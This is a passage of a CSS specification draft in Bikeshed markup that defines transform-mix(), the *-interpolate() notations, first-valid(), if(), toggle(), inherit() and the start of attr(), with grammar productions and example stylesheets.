	or else the function is invalid.
	The result's type will be the [=consistent type=],
	[=made consistent=] with the type of the <<calc-sum>> values.

	The [=used value=] of a valid ''calc-mix()'' is
	the result of producing a weighted average of its <<calc-sum>> values,
	with the weight of each item given by its corresponding <<percentage>>
	after [=normalize mix percentage|normalizing these mix percentages=].
	(Any “leftover” mix percentage is applied to a consistently-typed zero value,
	and thus effectively discarded.)

	The [=computed value=] of a valid ''calc-mix()'' is
	its [=used value=] if all of the <<calc-sum>> and <<percentage>> values in it
	can be resolved,
	and is a ''calc-mix()'' notation
	with each of its <<calc-sum>> and <<percentage>> values computed individually
	otherwise.

<h3 id="transform-mix">
Weighted Average of Transform Values: the ''transform-mix()'' notation</h3>

	The <dfn>transform-mix()</dfn> [=mix notation=]
	represents a weighted average of <<transform-list>>,
	with the following syntactic form:

	<pre class=prod>
		<<transform-mix()>> = transform-mix( [ <<transform-list>> && <<percentage [0,100]>> ]# )
	</pre>

	The [=used value=] of a valid ''transform-mix()'' is
	the result of producing a weighted average of its <<transform-list>> values,
	with the weight of each item given by its corresponding <<percentage>>
	after [=normalize mix percentage|normalizing these mix percentages=].
	Any “leftover” mix percentage is applied to an [=identity transform=]
	appended to the list.
	The weighting can be calculated by
	interpolating each <<transform-list>>
	using its <<percentage>> weight as the interpolation progress
	from the [=identity transform=] towards the <<transform-list>>.
	See [[css-transforms-1#interpolation-of-transforms]].

	If every <<percentage>> weight can be fully resolved,
	and the <<transform-list>>s can be interpolated
	without used-value-time information,
	then the [=computed value=] is the [=used value=];
	it is otherwise the ''transform-mix()'' notation itself
	with its arguments each computed according to their type.

	''transform-mix()'' is, itself, a <<transform-function>>.


<h2 id="interpolation-notation">
Interpolation Mapping Notations: the *-interpolate() family</h2>

	Several <dfn>interpolation notations</dfn> in CSS
	allow representing an interpolated value
	corresponding to a certain amount of <dfn>interpolation progress</dfn>
	along a defined scale or mapping function
	(the <dfn>interpolation map</dfn>).
	The [=functional notations=] follow the syntactic pattern:

	<pre class=prod>
		<var>*interpolate</var>() = <var>*interpolate</var>( [ <var>progress</var> && <var>global-options</var>? ],
		                               <var>stop</var>, [  <var>between-options</var>? , <var>stop</var> ]# )
	</pre>

	Where:
	* |progress| specifies the input position into the [=interpolation map=]; see [[#interpolation-progress-arguments]]
	* |global-options| specifies additional options for the interpolation as a whole,
		and defaults for the between-stop interpolation options.
	* |stop| represents an [=interpolation stop=]; see [[#interpolation-map-arguments]]
	* |between-options| specifies options for the interpolation between the two surrounding stops.

	<div class=example>
		For example,
		the following changes the background color of an element
		depending on the width of the viewport:

		<pre highlight=css>
			background: color-interpolate(100vw in lch,
				200px: palegoldenrod,
				800px: palegreen,
				2000px: powderblue
			);
		</pre>

		* Below ''200px'', the color is ''palegoldenrod'';
		* From ''200px'' to ''800px'',
			the color interpolates in ''lch''
			from ''palegoldenrod'' to ''palegreen'';
		* From ''800px'' to ''2000px'',
			the color interpolate in ''lch''
			from ''palegreen'' to ''powderblue'';
		* Above ''2000px'', the color is ''powderblue''.
	</div>

	<div class=example>
		In the following example,
		the font size interpolates from a smaller size on small screens
		to a larger size on large screens,
		easing along the interpolation curve.
		The author is storing the progress scale in a custom property
		to be able to re-use it across multiple 'font-size' declarations
		throughout the document.

		<pre highlight=css>
			html {
				--font-scale: progress(100vw, 200px, 2000px) ease-in-out;
				font-size: calc-interpolate(var(--font-scale),
					0%: 16px,
					70%: 20px,
					100%: 24px);
			}
			h1 {
				font-size: calc-interpolate(var(--font-scale),
					0%: 1.2rem,
					40%: 2rem,
					100%: 3rem);
			}
		</pre>

		ISSUE: If anyone has better examples to punch in here let us know...
	</div>

	The [=interpolation notations=] in CSS include:
	* ''calc-interpolate()'',
		for interpolating <<number>>, <<length>>, <<percentage>>, <<time>>,
		and other dimensions representable in ''calc()'' expressions
	* ''transform-interpolate()'',
		for interpolating <<transform-list>>s
	* ''color-interpolate()'',
		for interpolating <<color>> values

	and finally the generic ''interpolate()'' notation,
	which can represent the interpolation of any property’s values
	(but only the property’s entire value, not individual components).

	ISSUE: The ''interpolate()'' notation also has a variant that takes a set of keyframes.
	It does this by referring to an ''@keyframes'' rule,
	and pulling the corresponding property declaration out of that.
	It would be nice to allow the other mix notations to take keyframe also,
	but how would we represent a set of keyframes for a [=component value=]
	(rather than a full property value)?

	Issue: Do we have enough use-cases to motivate adding <css>palette-interpolate()</css>?
	''palette-mix()'' already handles transitions.


<h3 id="interpolation-syntax">
Global Syntax of the *-interpolate() family</h3>

	The generic syntax of the [=interpolation notations=] is as follows:

	<pre class=prod>
		<var>interpolate-function</var>() = <var>interpolate-function</var>(
			[
				<<progress-source>> && [ by <<easing-function>> ]?
				&& <<easing-function>>? && <<segment-options>>?
			] ,
			<<input-position>>{1,2} : <<output-value>> ,
			[
				[ <<easing-function>> || <<segment-options>> ]? ,
				<<input-position>>{1,2} : <<output-value>>
			]#?
		)
	</pre>

	These represent the [=interpolation progress=] and [=interpolation map=]
	as described below.


<h4 id="interpolation-progress-arguments">
Specifying the Interpolation Progress</h4>

	The <dfn><<progress-source>></dfn> value type represents
	the [=interpolation progress=] in an [=interpolation notation=].
	Its syntax is:

	<pre class=prod>
		<<progress-source>> = <<percentage>> | <<number>> | <<dimension>> | <<'animation-timeline'>>
	</pre>

	where:

	<dl dfn-type=value dfn-for="<progress-source>, calc-interpolate(), transform-interpolate(), color-interpolate()">
		<dt><dfn><<percentage>></dfn>
		<dd>
			Represents the [=interpolation progress=] as a percentage,
			with ''0%'' computing to zero and ''100%'' computing to 1.

		<dt><dfn><<number>></dfn>
		<dd>
			Represents the [=interpolation progress=] as a number directly.

			Note: This allows the use of the ''progress()'' notations
			and other [=math functions=] that output a <<number>>.

		<dt><dfn><<dimension>></dfn>
		<dd>
		   Represents the [=interpolation progress=] as a dimension,
		   which is converted to a number as specified in [[#interpolation-normalization]].


		Note: Using a <<dimension>> value as <<progress-source>>
		requires at least some of the stops in the [=interpolation map=]
		to also use <<dimension>> positions of the same type.
		See [[#interpolation-normalization]].

		<dt><dfn><<'animation-timeline'>></dfn>
		<dd>
			Represents the [=interpolation progress=]
			as the progress of the specified [[web-animations-1#timelines|animation timeline]].
			The values ''animation-timeline/none'' and ''animation-timeline/auto'' are invalid.
			[[!CSS-ANIMATIONS-2]] [[!WEB-ANIMATIONS-2]]
	</dl>

	Note: Progress values below ''0''/''0%'' and above ''1''/''100%''
	are unconventional, and potentially awkward, but valid.
	For example, most [=easing functions=], though they will accept any input,
	are defined in consideration of progress defined between the [0,1] (i.e. [0%,100%]) range.

<h5 id="interpolation-progress-easing">
Easing Interpolation Progress: the ''by <<easing-function>>'' argument</h5>

	The [=interpolation progress=] given by <<progress-source>> may be optionally modified
	by the <<easing-function>> specified after the <dfn dfn-type=value dfn-for="calc-interpolate(), transform-interpolate(), color-interpolate(), interpolate()">by</dfn> keyword.
	It applies the specified [=easing function=] to the “timeline” of progress as a whole
	by modifying the [=interpolation progress=] before it's applied to the [=interpolation map=],
	analogous to 'animation-timing-function'.

	If omitted, defaults to ''<easing-function>/linear''

<h4 id="interpolation-map-arguments">
Defining the Interpolation Map</h4>

	Similar to the [=gradient functions=],
	the [=interpolation notations=] define an [=interpolation map=] using a stop list,
	associating <dfn>input positions</dfn> with <dfn>output values</dfn>.
	Each <dfn>interpolation stop</dfn> represents, essentially,
	a keyframe of the [=interpolation map=]:
	values between [=interpolation stops=] are interpolated between these adjacent keyframes
	in accordance with the <<segment-options>> and <<easing-function>> arguments applying between those keyframes.

	The [=interpolation map=] values are defined as follows:

	<dl dfn-for="calc-interpolate(), transform-interpolate(), color-interpolate(), interpolate()">
		<dt><dfn type lt="<input-position>|<output-value>"><<input-position>>{1,2} : <<output-value>></dfn>
		<dd>
			Represents an [=interpolation stop=]
			associating the specified [=input position=](s) with the specified [=output values=].
			As with the [=gradient functions=],
			if two <<input-position>>s are specified,
			it is treated the same as two stops with the same <<output-value>>.

			<pre class=prod>
				<<input-position>> = <<percentage>> | <<number>> | <<dimension>>
			</pre>

			Note: <<output-value>> is not given a grammar here,
			as the specific functions specify what their outputs are.
			<<input-position>>, however, is linked to <<progress-source>>,
			see [[#interpolation-validity]].

		<dt><dfn value><<easing-function>></dfn>
		<dd>
			When appearing in the first argument,
			specifies the “default” [=easing function=] to be used between each stop.
			When appearing between stops,
			specifies the [=easing function=] to be used between the two surrounding stops,
			overriding any default provided by a global <<easing-function>> argument.
			(It is analogous to 'animation-timing-function'.)
			If omitted, defaults to ''<easing-function>/linear''.

			The [=input progress value=] to this [=easing function=]
			is the <dfn dfn for>segment interpolation progress</dfn>--
			how far the [=interpolation progress=] is
			between the [=input positions=] of the nearest stops preceding and following it.

			<div class=example>
				For example, in ''color-interpolate(20%, 0%: red, ease-in-out, 80%: green, 100%: blue)'',
				the ''20%'' [=interpolation progress=]
				becomes a ''25%'' [=segment interpolation progress=],
				as ''20%'' is 25% of the way between ''0%'' and ''80%'',
				the surrounding [=input positions=].
			</div>

		<dt><dfn type><<segment-options>></dfn>
		<dd>
			When appearing in the first argument,
			provides any type-specific interpolation options
			that apply to every segment in the [=interpolation map=].
			(For example, ''color-interpolate()'' allows <<color-interpolation-method>>.)
			When appearing between stops,
			provides any type-specific interpolation options
			that apply to the interpolation segment between
			the stops on either side of this argument,
			overriding any default provided by a corresponding global <<segment-options>> argument.
	</dl>

	All positions before the first [=interpolation stop=] map to the first stop's <<output-value>>,
	and all positions after the last [=interpolation stop=] map to the last stop's <<output-value>>.
	In other words, the map fills outward from the first/last stop (just like gradients)--
	it does not interpolate beyond them.

<h3 id="interpolation-normalization">
Validation and Normalization</h3>

<h4 id="interpolation-validity">
Type Checking</h4>

	Each <<progress-source>> and <<input-position>> has a <dfn noexport lt="interpolation input type">type</dfn>,
	which can be <dfn noexport for="interpolation input type">proportional</dfn>
	(<<number>>, <<percentage>>, or <<'animation-timeline'>>)
	or <dfn noexport for="interpolation input type">absolute</dfn>
	(all other types, and <<'animation-timeline'>>).
	The proportional types represent progress as a percentage;
	any mix of these types is valid.
	The [=absolute=] types represent progress in absolute dimensions,
	and all <<progress-source>> and <<input-position>> values that are not [=proportional=]
	must have a [=consistent type=] for the notation to be valid.
	Additionally, an [=interpolation notation=] whose <<progress-source>> is not [=proportional=]
	must have at least one [=absolute=] <<input-position>>
	(in order to define the [=interpolation range=]),
	or else the notation is invalid.

	Note: An <<'animation-timeline'>> has both a [=proportional=] type (the percentage progress)
	as well as an [=absolute=] type (<<time>> or <<length>>).

<h4 id="interpolation-range-calculation">
Calculating the Absolute Interpolation Range</h4>

	The <dfn noexport>interpolation range</dfn> specifies the <<dimension>> values
	corresponding to 0% and 100% [=interpolation progress=],
	and thereby defines the mapping between [=proportional=] and [=absolute=] values.

	In an [=absolutely=] typed [=interpolation map=],
	the first and last [=absolute=] stops in the list
	are assigned to 0% and 100%, respectively.
	(If there is only one [=absolutely=] typed [=interpolation stop=],
	it is assigned to both 0% and 100%.)

	A [=proportionally=] typed [=interpolation map=]
	does not define an [=interpolation range=].

<h4 id=interpolation-dimension-normaolization>
Normalizing Absolute Positions and Progress</h4>

	If a <<progress-source>> or <<input-position>> is specified as a <<dimension>>,
	it is normalized to a number
	by linearly interpolating it between the start and end of the [=interpolation range=].
	(This can produce values less than 0 or greater than 1.)

	<div class=example>
		For example, given a function like:

		<pre highlight=css>
			background-color: color-interpolate(300px in hsl, 200px: red, 500px: green, 600px: blue);
		</pre>

		The [=interpolation range=] is ''(200px, 600px)'',
		so the <<progress-source>> is converted to the number ''0.25'',
		and the three stops are converted to the numbers ''0'', ''.75'', and ''1''.

		Thus, that function is equivalent to:

		<pre highlight=css>
			background-color: color-interpolate(25% in hsl, 0%: red, 75%: green, 100%: blue);
		</pre>

		In either case, the result will be a color 1/3 of the way between ''red'' and ''green''
		using HSL interpolation,
		giving ''hsl(40deg, 100%, 50%)'', a light orange.
	</div>

<h4 id=interpolation-stop-fixup>
Interpolation Stop Fixup</h4>

	Once all [=interpolation stops=] have been normalized,
	they are additionally fixed up so that they progress in order
	from the first stop to the last.
	If any stop has an [=input position=] that is less than the [=input position=] of the preceding stop,
	it is set to the [=input position=] of the previous stop.

<h3 id=interpolation-resolution>
Interpolation Resolution</h3>

	The [=used value=] of a valid [=interpolation notation=] is
	the result of mapping its [=interpolation progress=]
	through the specified [=interpolation map=].

	The [=computed value=] is the [=used value=] if it is possible to calculate.
	Otherwise,
	if its [=interpolation progress=], [=input positions=], and interpolation options
	can all be resolved,
	then it is simplified to a two-stop [=interpolation notation=]
	with <<number>> values for the [=interpolation progress=] and [=input positions=],
	and all other values computed according to their type.
	Otherwise,
	it is the [=interpolation notation=] itself, with its arguments computed individually otherwise.

<h3 id="calc-interpolate">
Interpolated Numeric and Dimensional Values: the ''calc-interpolate()'' notation</h3>

	The <dfn>calc-interpolate()</dfn> [=interpolation notation=]
	represents an interpolated numeric or dimensional value.
	Like ''calc()'', it is a [=math function=],
	with the following syntax:

	<pre class=prod>
		<<calc-interpolate()>> = calc-interpolate(
			[
				<<progress-source>> && [ by <<easing-function>> ]?
				&& <<easing-function>>?
			] ,
			<<input-position>>{1,2} : <<calc-sum>> ,
			[ <<easing-function>>? , <<input-position>>{1,2} : <<calc-sum>> ]#? )
	</pre>

	The <<calc-sum>> arguments can resolve
	to any <<number>>, <<dimension>>, or <<percentage>>,
	but must have a [=consistent type=]
	or else the function is invalid.
	The result's type will be that [=consistent type=].

	The <<progress-source>> and <<input-position>> values
	do not use the inherited [=calculation context=];
	they resolve percentages as specified in [[#interpolation-normalization]].

<h3 id="color-interpolate">
Interpolated Color Values: the ''color-interpolate()'' notation</h3>

	The <dfn>color-interpolate()</dfn> [=interpolation notation=]
	represents an interpolated <<color>> value,
	with the following syntax:

	<pre class=prod>
		<<color-interpolate()>> = color-interpolate(
			[
				<<progress-source>> && [ by <<easing-function>> ]?
				&& <<easing-function>>? && <<color-interpolation-method>>?
			] ,
			<<input-position>>{1,2} : <<color>>,
			[
				[ <<easing-function>> || <<color-interpolation-method>> ]?,
				<<input-position>>{1,2} : <<color>>
			]#? )
	</pre>

<h3 id="transform-interpolate">
Interpolated Transform Values: the ''transform-interpolate()'' notation</h3>

	The <dfn>transform-interpolate()</dfn> [=interpolation notation=]
	represents an interpolated <<transform-list>>,
	with the following syntax:

	<pre class=prod>
		<<transform-interpolate()>> = transform-interpolate(
			[
				<<progress-source>> && [ by <<easing-function>> ]?
				&& <<easing-function>>?
			],
			<<input-position>>{1,2} : <<transform-list>>,
			[ <<easing-function>>?, <<input-position>>{1,2} : <<transform-list>> ]#? )
	</pre>

	''transform-interpolate()'' is, itself, a <<transform-function>>.

<h3 id="mix">
Interpolated Property Values: the ''interpolate()'' notation</h3>

	The <dfn>interpolate()</dfn> [=interpolation notation=]
	represents the interpolation of entire property values,
	which supports two alternative syntax patterns:

	<pre class=prod>
		<<interpolate()>> = interpolate(
			[
				<<progress-source>> && [ by <<easing-function>> ]?
				&& <<easing-function>>?
			] ,
			<<input-position>>{1,2} : <<whole-value>>,
			[ <<easing-function>>?, <<input-position>>{1,2} : <<whole-value>> ]#? )
		|
			interpolate( <<progress-source>> && [ by <<easing-function>> ]?
				&& <<easing-function>>? of <<keyframes-name>> )
	</pre>

	The first syntax alternative, like other [=interpolation notations=],
	assembles an [=interpolation map=] from a list of [=interpolation stops=].
	The second uses the corresponding property declarations from a set of keyframes,
	incorporating those values into the normal [=cascade=] for this property.

	Each <<whole-value>> argument is computed as if it were the value of this property;
	and all other arguments computed according to their type.

	<div class="example">
		For example, most uses of ''interpolate()''
		will resolve at computed-value time:

		<pre>
			color: interpolate(90%, 0: red, 1: blue);
			/* via simple interpolation,
			   computes to: */
			color: rgb(10% 0 90%);

			color: interpolate(90%, 0: currentcolor, 1: black);
			/* can't be fully resolved at computed-value time,
			   but still has a defined representation: */
			color: color-mix(currentcolor 90%, black 10%);

			float: interpolate(90%, 0: left, 1: right);
			/* discretely animatable */
			float: right;
		</pre>
	</div>

	The ''interpolate()'' notation is a <<whole-value>>.
	Additionally,
	if any of its <<whole-value>> arguments are [=not animatable=],
	the notation is invalid.

	<div class="example">
		For example, the following declarations are invalid,
		and will be ignored:

		<pre>
			/* Invalid start value */
			color: interpolate(90%, 0: #invalid, 1: #F00);

			/* Function is mixed with other values */
			background: url(ocean) interpolate(10%, 0: blue, 1: yellow);

			/* 'animation-*' is not animatable */
			animation-delay: interpolate(0%, 0: 0s, 1: 2s);
		</pre>
	</div>

<!-- Big Text: subs

 ███▌  █▌  █▌ ████▌   ███▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌
█▌     █▌  █▌ █▌  █▌ █▌
 ███▌  █▌  █▌ █████   ███▌
    █▌ █▌  █▌ █▌  █▌     █▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌
 ███▌   ███▌  ████▌   ███▌
-->

<h2 id="value-insert">
Miscellaneous Value Substituting Functions</h2>

<h3 id="whole-value" type lt="<whole-value>">
Representing An Entire Property Value: the <<whole-value>> type</h3>

	Several functions defined in this specification
	can only be used as the "whole value" of a property.
	For example, ''background-position: toggle(50px 50px, center);'' is valid,
	but ''background-position: toggle(50px, center) 50px;'' is not.
	The <<whole-value>> production represents these values.

	All properties implicitly accept a <<whole-value>>
	as their entire value,
	just as they accept the [=CSS-wide keywords=]
	as their entire value.

	When used as a component value of a function,
	<<whole-value>> also represents any CSS value
	normally valid as the whole value
	of the property in which it is used
	(including additional <<whole-value>> functions).
	However, some functions may restrict
	what a <<whole-value>> argument can include.

<h3 id="first-valid">
Selecting the First Supported Value: the ''first-valid()'' notation</h3>

	CSS supports progressive enhancement with its forward-compatible parsing:
	authors can declare the same property multiple times in a style rule,
	using different values each time,
	and a CSS UA will automatically use the last one that it understands
	and throw out the rest.
	This principle, together with the ''@supports'' rule,
	allows authors to write stylesheets that work well
	in old and new UAs simultaneously.

	However, using ''var()''
	(or similar substitution functions that resolve after parsing)
	thwarts this functionality;
	CSS UAs must assume any such property is valid at parse-time.

	The <dfn>first-valid()</dfn> [=functional notation=]
	inlines the fallback behavior
	intrinsic to parsing declarations.
	Unlike most notations,
	it can accept any valid or invalid syntax in its arguments,
	and represents the first value among its arguments
	that is supported (parsed as valid) by the UA
	as the whole value of the property it's used in.

	<pre class=prod>
		<<first-valid()>> = first-valid( <<declaration-value>># )
	</pre>

	If none of the arguments represent a valid value for the property,
	the property is [=invalid at computed-value time=].

	''first-valid()'' is a <<whole-value>>.

	Issue: Should this have a different name?
	We didn't quite decide on it during the resolution to add this.

	Note: Despite effectively taking <<whole-value>>s as its argument,
	''first-valid()'' is instead defined to take <<declaration-value>>s
	because, by definition,
	it's intended to be used in cases
	<em>where its values might be invalid for the declaration it's in</em>.
	<<declaration-value>> imposes no contextual validity constraints on what it matches,
	unlike <<whole-value>>.

<!-- Big Text: if()

████ █████▌   ██ ██
 ▐▌  █▌      █▌   ▐█
 ▐▌  █▌     █▌     ▐█
 ▐▌  ████   █▌     ▐█
 ▐▌  █▌     █▌     ▐█
 ▐▌  █▌      █▌   ▐█
████ █▌       ██ ██
-->

<h3 id="if-notation">
Conditional Value Selection: the ''if()'' notation</h3>

	The <dfn>if()</dfn> function is an [=arbitrary substitution function=]
	that represents conditional values.
	Its argument consists of an ordered semi-colon&ndash;separated list of statements,
	each consisting of a condition
	followed by a colon
	followed by a value.
	An ''if()'' function represents
	the value corresponding to the first condition in its argument list to be true;
	if no condition matches,
	then the ''if()'' function represents an empty token stream.

	The ''if()'' function's syntax is defined as follows:

	<pre class=prod>
	<<if()>> = if( [ <<if-branch>> ; ]* <<if-branch>> ;? )
	<dfn><<if-branch>></dfn> = <<if-condition>> : <<declaration-value>>?
	<dfn><<if-condition>></dfn> = <<boolean-expr[ <<if-test>> ]>> | else
	<dfn><<if-test>></dfn> =
	  supports( [ <<ident>> : <<declaration-value>> ] | <<supports-condition>> ) |
	  media( <<media-feature>> | <<media-condition>> ) |
	  style( <<style-query>> )
	</pre>

	The <dfn value for="if()">else</dfn> keyword represents
	a condition that is always true.

	The ''if()'' function's [=argument grammar=] is:

	<pre class=prod>
		<dfn><<if-args>></dfn> = if( [ <<if-args-branch>> ; ]* <<if-args-branch>> ;? )
		<dfn><<if-args-branch>></dfn> = <<declaration-value>> : <<declaration-value>>?
	</pre>

	<div algorithm>
		To <dfn export>[=replace an arbitrary substitution function|replace an if() function=]</dfn>,
		given a list of |arguments|:

		1. [=list/For each=] <<if-args-branch>> |branch| in |arguments|:

			1. [=Substitute arbitrary substitution functions=] in the first <<declaration-value>> of |branch|,
				then [=CSS/parse=] the result as an <<if-condition>>.
				If parsing returns failure,
				[=iteration/continue=];
				otherwise, let the result be |condition|.

			2. Evaluate |condition|.

				If a <<style-query>> in |condition| tests the value of a property,
				and [=guarded|guarding=] a [=substitution context=] &bs<<;"property", referenced-property-name&bs>>;
				would mark it as a [=cyclic substitution context=],
				that query evaluates to false.

				<div class=example>
					For example, in ''--foo: if(style(--foo: bar): baz);''
					the ''style()'' query is automatically false,
					since [=property replacement=] has already established a &bs<<;"property", "--foo"&bs>>; [=substitution context=].
				</div>

				If the result of |condition| is false,
				[=iteration/continue=].

			3. [=Substitute arbitrary substitution functions=] in the second <<declaration-value>> of |branch|,
				and return the result.

		2. Return nothing (an empty sequence of [=component values=]).
	</div>

	Note: Unlike using ''@media''/''@supports''/''@container'' rules,
	which just ignore their contents when they're false
	and let the cascade determine what values otherwise apply,
	declarations with ''if()'' do not roll back the cascade if the conditions are false;
	any fallback values must be provided inline.
	However, see the ''revert-rule'' [=CSS-wide keyword=].

<!-- Big Text: toggle()

█████▌  ███▌   ███▌   ███▌  █▌    █████▌   ██ ██
  █▌   █▌  █▌ █▌  █▌ █▌  █▌ █▌    █▌      █▌   ▐█
  █▌   █▌  █▌ █▌     █▌     █▌    █▌     █▌     ▐█
  █▌   █▌  █▌ █▌ ██▌ █▌ ██▌ █▌    ████   █▌     ▐█
  █▌   █▌  █▌ █▌  █▌ █▌  █▌ █▌    █▌     █▌     ▐█
  █▌   █▌  █▌ █▌  █▌ █▌  █▌ █▌    █▌      █▌   ▐█
  █▌    ███▌   ███▌   ███▌  █████ █████▌   ██ ██
-->

<h3 id="toggle-notation">
Toggling Between Values: the ''toggle()'' notation</h3>

	The <dfn>toggle()</dfn> expression allows descendant elements
	to cycle over a list of values instead of inheriting the same value.

	<div class='example'>
		The following example makes <code>&lt;em></code> elements italic in general,
		but makes them normal if they're inside something that's italic:

		<pre>em { font-style: toggle(italic, normal); }</pre>
	</div>

	<div class='example'>
		The following example cycles markers for nested lists,
		so that a top level list has ''list-style-type/disc''-shaped markers,
		but nested lists use ''list-style-type/circle'', then ''list-style-type/square'', then ''list-style-type/box'',
		and then repeat through the list of marker shapes,
		starting again (for the 5th list deep) with ''list-style-type/disc''.

		<pre>ul { list-style-type: toggle(disc, circle, square, box); }</pre>
	</div>

	The syntax of the ''toggle()'' expression is:

	<pre class=prod>
		<<toggle()>> = toggle( <<whole-value>># )
	</pre>

	The ''toggle()'' notation is a <<whole-value>>.
	However, it is not allowed to be nested,
	nor may it contain ''attr()'' or ''calc()'' notations;
	declarations containing such constructs are invalid.

	<div class="example">
		The following ''toggle()'' examples are all invalid:

		<pre>
		background-position: 10px toggle(50px, 100px);
		/* toggle() must be the sole value of the property */

		list-style-type: toggle(disc, 50px);
		/* ''50px'' isn't a valid value of 'list-style-type' */
		</pre>
	</div>

	To determine the computed value of ''toggle()'',
	first evaluate each argument as if it were the sole value of the property in which ''toggle()'' is placed
	to determine the computed value that each represents,
	called <var>C<sub>n</sub></var> for the <var>n</var>-th argument to ''toggle()''.
	Then, compare the property's <a>inherited value</a>
	with each <var>C<sub>n</sub></var>.
	For the earliest <var>C<sub>n</sub></var> that matches the <a>inherited value</a>,
	the computed value of ''toggle()'' is <var>C<sub>n+1</sub></var>.
	If the match was the last argument in the list,
	or there was no match,
	the computed value of ''toggle()'' is the computed value that the first argument represents.


	Note: This means that repeating values in a ''toggle()'' short-circuits the list.
	For example ''toggle(1em, 2em, 1em, 4em)'' will be equivalent to ''toggle(1em, 2em)''.

	<!-- Issue: Should this short-circuiting affect the computed value? -->

	Note: That ''toggle()'' explicitly looks at the computed value of the parent,
	so it works even on non-inherited properties.
	This is similar to the ''inherit'' keyword,
	which works even on non-inherited properties.

	Note: The [=computed value=] of a property is an abstract set of values,
	not a particular serialization [[!CSS21]],
	so comparison between computed values should always be unambiguous and have the expected result.
	For example,
	a Level 2 <l spec=css2>'background-position'</l> computed value
	is just two offsets, each represented as an absolute length or a percentage,
	so the declarations ''background-position: top center'' and ''background-position: 50% 0%''
	produce identical computed values.
	If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict,
	please <a href="#sotd">provide feedback</a> so we can fix it.

	If ''toggle()'' is used on a <a>shorthand property</a>,
	it sets each of its longhands to a ''toggle()'' value
	with arguments corresponding to what the longhand would have received
	had each of the original ''toggle()'' arguments been the sole value of the <a>shorthand</a>.

	<div class="example">
		For example, the following shorthand declaration:

		<pre>margin: toggle(1px 2px, 4px, 1px 5px 4px);</pre>

		is equivalent to the following longhand declarations:

		<pre>
		margin-top:    toggle(1px, 4px, 1px);
		margin-right:  toggle(2px, 4px, 5px);
		margin-bottom: toggle(1px, 4px, 4px);
		margin-left:   toggle(2px, 4px, 5px);
		</pre>

		Note that, since ''1px'' appears twice in the top margin and ''4px'' appears twice in bottom margin,
		they will cycle between only two values
		while the left and right margins cycle through three.
		In other words, the declarations above will yield the same computed values
		as the longhand declarations below:

		<pre>
		margin-top:    toggle(1px, 4px);
		margin-right:  toggle(2px, 4px, 5px);
		margin-bottom: toggle(1px, 4px);
		margin-left:   toggle(2px, 4px, 5px);
		</pre>

		which may not be what was intended.
	</div>

<h3 id="var-notation">
Custom Property References: the ''var()'' notation</h3>

	The ''var()'' notation substitutes the value of a [=custom property=],
	see the <a href="https://www.w3.org/TR/css-variables/#using-variables">CSS Custom Properties for Cascading Variables Module</a>.
	[[CSS-VARIABLES]]

<h3 id="inherit-notation">
Inherited Value References: the ''inherit()'' notation</h3>

	Like the ''inherit'' keyword, the <dfn>inherit()</dfn> [=functional notation=]
	resolves to the [=computed value=] of a property on the parent.
	Rather than resolving to the value of the same property, however,
	it resolves to a sequence of [=component values=]
	representing the [=computed value=]
	of the property specified as its first argument.
	Its second argument, if present, is used as a fallback
	in case the first argument resolves to the [=guaranteed-invalid value=].

	''inherit()'' is an [=arbitrary substitution function=]
	whose syntax is defined as:

	<pre class=prod>
		<<inherit()>> = inherit( <<custom-property-name>>, <<declaration-value>>? )
	</pre>

	The ''inherit()'' function's [=argument grammar=] is:

	<pre class=prod>
		<dfn><<inherit-args>></dfn> = inherit( <<declaration-value>>, <<declaration-value>>? )
	</pre>

	Like ''var()'', a bare comma can be used with nothing following it,
	indicating that the second <<declaration-value>> was passed,
	just as an empty sequence.

	Note: That is, ''inherit(--foo)'' does not pass a fallback value,
	but ''inherit(--foo,)'' does (the fallback is just empty).

	<div algorithm>
		To <dfn export>[=replace an arbitrary substitution function|replace an inherit() function=]</dfn>,
		given a list of |arguments|:

		1. [=Substitute arbitrary substitution functions=] in the first <<declaration-value>> of |arguments|,
			then [=CSS/parse=] it as a <<custom-property-name>>.

		2. If parsing returned a <<custom-property-name>>,
			and the [=inherited value=] of that [=custom property=] on the element
			does not contain the [=guaranteed-invalid value=],
			return that inherited value.

		3. Otherwise, if a second <<declaration-value>>? was passed in |arguments|,
			[=substitute arbitrary substitution functions=] in that argument,
			and return the result.

		4. Otherwise, return the [=guaranteed-invalid value=].
	</div>

	Note: Future levels of CSS may allow specifying standard CSS properties in ''inherit()'';
	however because the tokenization of [=computed values=]
	is not fully standardized for all CSS properties,
	this feature is deferred from Level 5.
	Note that the [=computed value=] differs from the [=used value=],
	and is not always the resolved value returned by {{getComputedStyle()}};
	thus even if ''inherit(width)'' were allowed,
	it would frequently return the keyword ''width/auto'', not the used <<length>>.

<!-- Big Text: attr()

 ███▌  █████▌ █████▌ ████▌    ██ ██
▐█ ▐█    █▌     █▌   █▌  █▌  █▌   ▐█
█▌  █▌   █▌     █▌   █▌  █▌ █▌     ▐█
█▌  █▌   █▌     █▌   ████▌  █▌     ▐█
█████▌   █▌     █▌   █▌▐█   █▌     ▐█
█▌  █▌   █▌     █▌   █▌ ▐█   █▌   ▐█
█▌  █▌   █▌     █▌   █▌  █▌   ██ ██
-->

<h3 id="attr-notation">
Attribute References: the ''attr()'' notation</h3>

<!--
Ian's proposal:
  http://lists.w3.org/Archives/Member/w3c-css-wg/2002OctDec/0141.html
-->

	The <dfn>attr()</dfn> function substitutes the value of an  <l spec=dom>[=attribute=]</l> on an <l spec=dom>[=/element=]</l>
	into a property,
	similar to how the ''var()'' function
	substitutes a [=custom property=] value into a function.

	<pre class=prod>
		attr() = attr( <<attr-name>> <<attr-type>>? , <<declaration-value>>?)

		<dfn>&lt;attr-name></dfn> = [ <<ident-token>>? '|' ]? <<ident-token>>
		<dfn>&lt;attr-type></dfn> = <dfn function lt="type()" for="attr()">type( <<syntax>> )</dfn> | raw-string | number | <<attr-unit>>
	</pre>

	The ''attr()'' function's [=argument grammar=] is:

	<pre class=prod>
		<dfn><<attr-args>></dfn> = attr( <<declaration-value>>, <<declaration-value>>? )
	</pre>

	Like ''var()'', a bare comma can be used with nothing following it,
	indicating that the second <<declaration-value>> was passed,
	just as an empty sequence.

	Note: That is, ''attr(foo)'' does not pass a fallback value,
	but ''attr(foo,)'' does (the fallback is just empty).

	The <dfn>&lt;attr-unit></dfn> production matches any [=identifier=]
	that is an [=ASCII case-insensitive=] match
	for the name of a CSS dimension unit,
	such as ''px'',
	or the <<delim-token>> <css>%</css>.
	It is not expanded literally here,
	as the set of units expands over time.

